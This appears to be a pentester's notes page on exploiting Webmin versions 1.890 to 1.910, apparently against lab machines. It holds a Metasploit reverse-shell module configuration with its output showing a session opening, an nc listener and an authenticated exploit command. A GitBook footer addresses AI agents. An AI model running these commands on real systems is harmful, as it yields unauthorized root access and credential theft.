> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/things-i-have-pwnd-before/webmin.md). # Webmin ### Webmin 1.8.90 * MiniServ 1.890 (Webmin httpd) * * Read /etc/shadow * Add user * Reverse Shells * Read the config files * Will run as root ### Webmin 1.900 * MiniServ 1.900 (Webmin httpd) * Requires credentials in order to exploit * can use a metasploit module once credentials are obtained ``` exploit/linux/http/webmin_packageup_rce PASSWORD Password6543 yes Webmin Password Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 172.16.1.17 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using -metasploit.html RPORT 10000 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Base path for Webmin application USERNAME admin yes Webmin Username cmd/unix/reverse_perl LHOST 10.10.14.2 yes The listen address (an interface may be specified) LPORT 8888 yes The listen port run [*] Started reverse TCP handler on 10.10.14.2:8888 [+] Session cookie: bda1415ad657230f23aac213aa96a878 [*] Attempting to execute the payload... [*] Command shell session 1 opened (10.10.14.2:8888 -> 10.10.110.3:10784) at 2024-04-13 21:21:53 -0400 ``` ### Webmin Version 1.910 - Privilege Escalation * Authenticated * * Start your virtual env ``` source venv/bin/activate ``` * start your listener ``` nc -nlvp 443 ``` * Send it ``` python2 webmin_exploit.py --rhost 10.129.2.1 --rport 10000 --lhost 10.10.14.76 --lport 443 -u Matt -p computer2008 -s True ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://book.ice-wzl.xyz/things-i-have-pwnd-before/webmin.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.